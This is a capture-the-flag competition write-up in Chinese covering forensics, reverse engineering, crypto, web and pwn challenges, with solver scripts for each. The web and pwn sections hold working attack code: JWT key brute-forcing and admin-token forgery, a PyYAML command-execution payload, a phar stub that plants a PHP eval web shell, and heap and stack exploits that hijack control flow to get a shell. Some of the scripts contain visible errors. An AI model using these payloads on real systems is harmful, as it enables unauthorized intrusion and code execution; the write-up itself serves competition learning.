Forensics

Silentminer

铛,铛,铛,洞穴里传来铁镐敲击石头的声音。
回答以下问题,每个问题都是一个单独的flag:
攻击者的ip地址
192.168.145.131
攻击者共进行多少次ssh口令爆破失败?
258
后门文件路径的绝对路径
/usr/sbin/sshd
攻击者用户分发恶意文件的域名(注意系统时区)
tombaky.com
挖矿病毒所属的家族(全小写)
kinsing
注意:每一小问的答案提交的时候需要带上flag{*} 比如答案whoami 需要提交flag{whoami}。答对所有小问后,才会得到该题的 flag。
题目附件链接1:https://pan.baidu.com/s/1HLkthjGvjnRT34hm_Ifkew?pwd=6b9b
题目附件链接2(SilentMiner.7z+BadEmail.zip):https://adnav-data.obs.myhuaweicloud.com:443/wq/%E9%99%84%E4%BB%B6.zip?AccessKeyId=HPUALOBCQTBFQ07YYZGK&Expires=1757481203&Signature=jcX94Vns/CoyOkAAtA6kVN8SS5U%3D题目附件链接2(SilentMiner.7z+BadEmail.zip):https://adnav-data.obs.myhuaweicloud.com:443/wq/%E9%99%84%E4%BB%B6.zip?AccessKeyId=HPUALOBCQTBFQ07YYZGK&Expires=1757481203&Signature=jcX94Vns/CoyOkAAtA6kVN8SS5U%3D

查看日志得到ip
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
查看ssh日志,包括kali用户的登陆失败共有258次
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
查看sudo记录,发现sshd被劫持了
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
看tmp路径,下面有个update.sh,里面有个域名,然后那个SXyq就是混淆后的挖矿程序
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
将里面的base64字符串复制出来base64+gnuzip解密,再复制出来base64解密就能看到恶意脚本,挖矿病毒属于kinsing家族
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Checkwebshell

Http contains "flag"查找含有flag的流
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
写php脚本解密

<?php

class SM4 {
    const ENCRYPT = 1;
    private $sk; 
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
    private static $CK = [
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
    ];
    private static $SboxTable = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
    ];

    public function __construct($key) {
        $this->setKey($key);
    }

    public function setKey($key) {
        if (strlen($key) != 16) {
            throw new Exception("SM4 key must be 16 bytes");
        }
        $key = $this->strToIntArray($key);
        $k = array_merge($key, [0, 0, 0, 0]);
        for ($i = 0; $i < 4; $i++) {
            $k[$i] ^= self::$FK[$i];
        }
        for ($i = 0; $i < 32; $i++) {
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
            $this->sk[$i] = $k[$i + 4];
        }
    }

    public function encrypt($plaintext) {
        $len = strlen($plaintext);
        $padding = 16 - ($len % 16);
        $plaintext .= str_repeat(chr($padding), $padding); 
        $ciphertext = '';
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
            $block = substr($plaintext, $i, 16);
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
        }
        return $ciphertext;
    }

    public function decrypt($ciphertext) {
        if (strlen($ciphertext) % 16 !== 0) {
            throw new Exception("Ciphertext length must be multiple of 16");
        }

        $plaintext = '';
        for ($i = 0; $i < strlen($ciphertext); $i += 16) {
            $block = substr($ciphertext, $i, 16);
            $plaintext .= $this->decryptBlock($block);
        }

        // Remove PKCS#7 padding
        $padLen = ord($plaintext[-1]);
        if ($padLen < 1 || $padLen > 16) {
            throw new Exception("Invalid padding");
        }
        $plaintext = substr($plaintext, 0, -$padLen);

        return $plaintext;
    }

    private function cryptBlock($block, $mode) {
        $x = $this->strToIntArray($block);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $this->sk[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }

    private function decryptBlock($block) {
        $x = $this->strToIntArray($block);

        // Reverse the round keys for decryption
        $sk_rev = array_reverse($this->sk);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $sk_rev[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }

    private function F($x1, $x2, $x3, $rk) {
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
    }

    private function CKF($a, $b, $c, $ck) {
        return $a ^ $this->T($b ^ $c ^ $ck);
    }

    private function T($x) {
        return $this->L($this->S($x));
    }

    private function S($x) {
        $result = 0;
        for ($i = 0; $i < 4; $i++) {
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
        }
        return $result;
    }

    private function L($x) {
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
    }

    private function rotl($x, $n) {
        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
    }

    private function strToIntArray($str) {
        $result = [];
        for ($i = 0; $i < 4; $i++) {
            $offset = $i * 4;
            $result[$i] =
                (ord($str[$offset]) << 24) |
                (ord($str[$offset + 1]) << 16) |
                (ord($str[$offset + 2]) << 8) |
                ord($str[$offset + 3]);
        }
        return $result;
    }

    private function intArrayToStr($array) {
        $str = '';
        foreach ($array as $int) {
            $str .= chr(($int >> 24) & 0xFF);
            $str .= chr(($int >> 16) & 0xFF);
            $str .= chr(($int >> 8) & 0xFF);
            $str .= chr($int & 0xFF);
        }
        return $str;
    }
}

// ==================== 解密并输出 flag ====================

try {
    $key = "a8a58b78f41eeb6a";  // 16-byte key
    $sm4 = new SM4($key);

    // 已知的 Base64 编码密文(来自你代码中的注释)
    $base64_ciphertext = "VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu";
    $ciphertext = base64_decode($base64_ciphertext);

    $flag = $sm4->decrypt($ciphertext);
    echo "Flag: " . $flag . "\n";

} catch (Exception $e) {
    echo "❌ Error: " . $e->getMessage() . "\n";
}
?>
//flag{1ac380d6-5820-4e1a-b40e-ddf1789f6b0d}

Reverse

hardtest

没什么难的,正常解

#include <stdio.h>
unsigned char byte_2020[] = {
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
    0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,
    0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
    0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
    0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
    0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
    0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
    0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
    0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
    0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
    0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
    0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C,
    0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
    0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
    0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
    0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
    0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
    0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
    0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
    0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
    0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
    0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,
    0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16};
unsigned char byte_2020_inv[256];
#define __ROL__(x, n) (((x) << (n)) | ((x) >> (8 - (n))))
__int64 __fastcall inverse(unsigned __int8 a1)
{
    unsigned __int16 v2; // [rsp+Eh] [rbp-6h]
    unsigned __int16 v3; // [rsp+10h] [rbp-4h]
    unsigned __int16 v4; // [rsp+12h] [rbp-2h]

    if (!a1)
        return 0LL;
    v2 = 1;
    v3 = 255;
    v4 = a1;
    while (v3)
    {
        if ((v3 & 1) != 0)
            v2 = v4 * v2 % 257;
        v4 = v4 * v4 % 257;
        v3 >>= 1;
    }
    return v2;
}
void printHex(unsigned char *data, int len)
{
    for (int i = 0; i < len; i++)
    {
        printf("%02X ", data[i]);
    }
    printf("\n");
}

int main()
{
    unsigned char s[] = {0x97, 0xd5, 0x60, 0x43, 0xb4, 0x10, 0x43, 0x73, 0x0f, 0xda, 0x43, 0xcd, 0xd3, 0xe8, 0x73, 0x4a, 0x94, 0xc3, 0xcd, 0x71, 0xbd, 0xdc, 0x97, 0x1a};

    for (int i = 0; i < 256; i++)
    {
        byte_2020_inv[byte_2020[i]] = i;
    }

    for (int i = 0; i < 24; i++)
    {
        s[i] = byte_2020_inv[s[i]];
        s[i] = __ROL__(s[i], 2);
        s[i] = inverse(s[i]);
        s[i] = (16 * ((11 * (s[i] >> 4)) & 0xF)) | (13 * (s[i] & 0xF)) & 0xF;
        s[i] = __ROL__(s[i], 5);
        s[i] ^= 0x5A;
        s[i] = __ROL__(s[i], (8 - (i % 7 + 1)));
    }
    printf("%s\n", s);
    // Bl@st1ng_1s_a_g00d_Way!!
}

strangeapp

frida-dump下来,只有一个AES加密
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

minigame

微信小程序逆向
附件的后缀名应为.wxapkg
npm i wedecode -g,把目标解包
目录长这样,index.js调用validator.js调用validator.wasm
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
校验函数在wasm中

data:00FF data_0:         db 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9
data:0108                 db 0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE
data:0111                 db 0xAB, 2 dup(0xA1), 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE
data:011A                 db 0xFC, 0xA1, 0xFA, 0xA8, 2 dup(0xFB), 0xAD, 0xFC, 0xAC
data:0123                 db 0xAA, 0xE4

这是校验部分,就是异或0x99

code:00C1                  block                  ; L9
code:00C3                   i32.load8_u [$local1+0x400]
code:00C9                   i32.add $local1, $local2
code:00CE                   i32.load8_s
code:00D1                   i32.xor
code:00D2                   local.tee $param0
code:00D4                   i32.const 0x99
code:00D7                   i32.eq
code:00D8                   local.set $local0
code:00DA                   i32.ne  $param0, 0x99
code:00E0                   br_if   0 L9
code:00E2                   i32.add $local1, 1
code:00E7                   local.tee $local1
code:00E9                   i32.const 0x26
code:00EB                   i32.ne
code:00EC                   br_if   1 L8
code:00EE                  end                    ; L9

flag{fae0b27c451c728867a567e8c1bb4e53}

Crypto

new_trick

直接让AI写脚本用小步大步法解
from hashlib import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import math

# Public Parameters
p = 115792089237316195423570985008687907853269984665640564039457584007913129639747
Q_components = (123456789, 987654321, 135792468, 864297531)
R_components = (53580504271939954579696282638160058429308301927753139543147605882574336327145, 79991318245209837622945719467562796951137605212294979976479199793453962090891, 53126869889181040587037210462276116096032594677560145306269148156034757160128, 97368024230306399859522783292246509699830254294649668434604971213496467857155)
encrypted_flag = b'(\xe4IJ\xfd4%\xcf\xad\xb4\x7fi\xae\xdbZux6-\xf4\xd72\x14BB\x1e\xdc\xb7\xb7\xd1\xad#e@\x17\x1f\x12\xc4\xe5\xa6\x10\x91\x08\xd6\x87\x82H\x9e'

class Quaternion:
    def __init__(self, a, b, c, d):
        self.p = p
        self.a = a % self.p
        self.b = b % self.p
        self.c = c % self.p
        self.d = d % self.p

    def __repr__(self):
        return f"Q({self.a}, {self.b}, {self.c}, {self.d})"

    def __mul__(self, other):
        a1, b1, c1, d1 = self.a, self.b, self.c, self.d
        a2, b2, c2, d2 = other.a, other.b, other.c, other.d
        a_new = a1 * a2 - b1 * b2 - c1 * c2 - d1 * d2
        b_new = a1 * b2 + b1 * a2 + c1 * d2 - d1 * c2
        c_new = a1 * c2 - b1 * d2 + c1 * a2 + d1 * b2
        d_new = a1 * d2 + b1 * c2 - c1 * b2 + d1 * a2
        return Quaternion(a_new, b_new, c_new, d_new)

    def inverse(self):
        norm_sq = (self.a**2 + self.b**2 + self.c**2 + self.d**2) % self.p
        inv_norm_sq = pow(norm_sq, -1, self.p)
        return Quaternion(
            self.a * inv_norm_sq,
            -self.b * inv_norm_sq,
            -self.c * inv_norm_sq,
            -self.d * inv_norm_sq
        )

def power(base_quat, exp):
    res = Quaternion(1, 0, 0, 0)
    base = base_quat
    while exp > 0:
        if exp % 2 == 1:
            res = res * base
        base = base * base
        exp //= 2
    return res

# --- Baby-step, Giant-step algorithm ---
def solve_quaternion_dlog(Q, R, N_bound):
    m = math.ceil(math.isqrt(N_bound)) + 1

    # Baby steps: compute Q^j for 0 <= j < m
    baby_steps = {}
    current_power = Quaternion(1, 0, 0, 0)
    for j in range(m):
        baby_steps[repr(current_power)] = j
        current_power = current_power * Q

    # Giant steps: compute R * (Q^-m)^i for 0 <= i < m
    Q_inv = Q.inverse()
    Q_inv_m = power(Q_inv, m)
    giant_step_term = R

    for i in range(m):
        if repr(giant_step_term) in baby_steps:
            j = baby_steps[repr(giant_step_term)]
            secret_candidate = (i * m + j) % p # The %p isn't strictly necessary as the secret is < 2^50, but it's good practice
            print(f"Found secret candidate: {secret_candidate}")
            if power(Q, secret_candidate).a == R.a and power(Q, secret_candidate).b == R.b and power(Q, secret_candidate).c == R.c and power(Q, secret_candidate).d == R.d:
                return secret_candidate

        giant_step_term = giant_step_term * Q_inv_m

    return None

# --- Main script execution ---
print("Starting baby-step, giant-step calculation...")
Q = Quaternion(*Q_components)
R = Quaternion(*R_components)

# The bound for 'secret' is < 2**50
secret = solve_quaternion_dlog(Q, R, 2**50)

if secret is not None:
    print(f"Successfully recovered secret: {secret}")

    # Decrypt the flag
    key = md5(str(secret).encode()).hexdigest().encode()
    cipher = AES.new(key=key, mode=AES.MODE_ECB)
    decrypted_flag_padded = cipher.decrypt(encrypted_flag)

    # Unpad and print the flag
    try:
        # For simplicity in this CTF context, we'll try to unpad
        unpadded_flag = decrypted_flag_padded.rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10')
        print(f"Flag: {unpadded_flag.decode()}")
    except Exception as e:
        print(f"Failed to unpad or decode the flag: {e}")
        print(f"Padded result: {decrypted_flag_padded}")

else:
    print("Could not find the secret.")
#flag{ef9b2a64b3ead115a48ee0b842dc19ed}

Web

ez_python

扫目录找到/auth
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
改成admin伪造token
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
传个python上去执行,得到了hint
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
写脚本爆破密钥

import jwt
import string
import itertools

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
key_prefix = "@o70xO$0%#qR9#"
chars = string.ascii_letters + string.digits

for a, b in itertools.product(chars, repeat=2):
    key = key_prefix + a + b
    try:
        payload = jwt.decode(token, key, algorithms=["HS256"])
        print(f"✅ Found valid key: {key}")
        print(f"Payload: {payload}")
        forged = jwt.encode({"username": "admin", "role": "admin"}, key, algorithm="HS256")
        print(f"🔑 Forged admin token: {forged}")
        break
    except jwt.InvalidSignatureError:
        continue
    except Exception as e:
        continue
else:
    print("❌ No valid key found.")
'''
✅ Found valid key: @o70xO$0%#qR9#m0
Payload: {'username': 'guest', 'role': 'user'}
🔑 Forged admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70
'''

利用yaml的漏洞getshell
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

# exploit.yaml
!!python/object/apply:subprocess.check_output
  - ['cat', '/f1111ag']
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

ssti

go语言的ssti,base64编码一下执行就好
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

easy_readfile

限制长度,不能使用另外一个链子,只能用这个来写入文件然后include

O:7:"Acheron":1:{s:4:"mode";s:1:"r";}
O:7:"Acheron":1:{s:4:"mode";s:1:"w";}

参考文章DeadsecCTF2025 baby-web可以发现这里是可以进行文件包含的,单参数构造的都没什么办法rce。

<?php
$phar = new Phar('exp.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('echo \'<?php eval($_POST["code"]);\' >/var/www/html/shell.php');
    __HALT_COMPILER();
?>
STUB;

$$phar->setStub($$stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

参考2025-n1ctf-junior-web-backup可以提权

echo "">"-H";
ln -s /flag ff;

等十几秒再cat ./backup/f*就可以读取到flag

Pwn

ood_canary

2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
在before_main中,fs:[0x30]的值被修改为0
也就是后续的canary
2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
在good_new函数中,可以通过将name和bss变量连接,从而在printf中带出puts的地址得到libc
最后在vuln中,可以溢出8字节,将返回地址修改为one_gadget即可getshell

from pwn import *
r=remote(…)
libc=ELF('./libc.so.6')
def choice(chocie):
    s.sendafter(b"Choose (good/vuln/exit): ",choice)
r.sendafter(b"Choose (good/vuln/exit): ",b"good")
r.sendafter(b"but you must tell me your name first:",b'a'*0x21)
r.sendafter(b"Choose (good/vuln/exit): ",b"good")
r.recvuntil(b'a'*0x20)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-libc.sym.puts
r.sendafter(b"but you must tell me your name first:",b'a'*0x27)
print(hex(libc_base))
r.sendafter(b"Choose (good/vuln/exit): ", b"vuln")
one =base+0xebc81
bss_addr=0x404a00
payload=b'exec'.ljust(0x30,b'a')+p64(bss)+p64(one)
r.send(payload)
r.interactive()

digital_bomb

2025“湾区杯”网络安全大赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
将上下限分别210和211可以从数字炸弹转到堆块管理系统中
观察create,delet,show和edit可以发现
Create中存在offbynull,edit只能调用一次,且只能修改0x10字节的数据
想要在libc2.35中使用offbynull,首先需要heap地址
所以这次的edit我们只能先用来leak_heap

add(9,0x500,p64(0)+p64(0x601))
add(0,0x4f0,b'a'*8)
add(10,0x500,b'a'*8)
add(1,0x4f0,b'a'*8)
free(10)
free(9)
add(9,0x500,b'a'*4)
edit(9,b'a'*8)
show(9)
io.recvuntil(b'a'*8)
heap=u64(io.recv(6)+b'\x00\x00')-0x290
print(f"heap==>{hex(heap)}")
free(0)
free(1)
free(9)
free(10)

然后我们通过offbynull制造堆叠,从而泄露libc地址
堆叠还可以用来劫持任意地址,我们直接劫持libc中的got表
由于puts在Libc中的实现会调用strlen,我们劫持strlen.got为one_gagdet即可在menu中getshell
完整EXP:

from pwn import *
context.log_level = 'debug'

r = process('./pwn')

libc = ELF('./libc.so.6')

def dbg():
    gdb.attach(r)

def menu_sel(opt):
    r.sendlineafter(b"Your choice >>", str(opt).encode())

r.sendlineafter(b"Enter min (0-500): ", b"100")
r.sendlineafter(b"Enter max (0-500): ", b"101")
r.sendlineafter(b"Your guess :", b"100")

def create(idx, sz, data):
    menu_sel(1)
    r.sendlineafter(b"Index >> \n", str(idx).encode())
    r.sendlineafter(b"Size >> \n", str(sz).encode())
    r.send(data)

def delet(idx):
    menu_sel(2)
    r.sendlineafter(b"Index >> \n", str(idx).encode())

def show(idx):
    menu_sel(3)
    r.sendlineafter(b"Index >> \n", str(idx).encode())

def edit(idx, data):
    menu_sel(666)
    r.sendlineafter(b"Index >> \n", str(idx).encode())
    r.send(data)

create(9, 0x500, p64(0)+p64(0x601))
create(0, 0x700, b'\n')
create(10, 0x500, b'\n')
create(1, 0x600, b'\n')

delet(10)
delet(9)
create(9, 0x500, b'111')
edit(9, b'q'*8)
show(9)
r.recvuntil(b'q'*8)
heapptr = u64(r.recv(6) + b'\x00\x00') - 0x290
print(f"heap==>{hex(heapptr)}")

delet(0)
delet(1)
delet(9)
delet(10)

create(0, 0x500, p64(0)+p64(0x601)+p64(heapptr+0x2a0)*2)
create(1, 0xf8, b'\n')
create(2, 0xf8, b'\n')
create(3, 0xf8, b'\n')
create(4, 0xf8, b'\n')
create(5, 0xf8, b'\n')
create(6, 0xf8, b'\n')
create(7, 0xf8, b'\n')
create(8, 0xf8, b'\n')
create(9, 0xf0, b'\n')

delet(1)
create(1, 0xf8, b'\0'*0xf0+p64(0x600))

for i in range(3, 10):
    delet(i)

delet(2)
create(9, 0x4f0, b'p'*8)
show(1)
r.recvuntil(b'Show at index 1:\n')
base = u64(r.recv(6).ljust(8, b'\x00')) - 0x21ace0

delet(9)
create(8, 0x1f0, b'a'*8)
delet(8)
delet(1)

xorkey = heapptr >> 12
payload = b'0'*0x2f0 + p64(0x510) + p64(0x201) + p64((lbase+0x21A090) ^ xorkey)

create(3, 0x4f0, payload)
create(4, 0x1f0, b'\n')
create(5, 0x1f0, p16(5)*0x40 + p64(lbase+0xebc85))

r.interactive()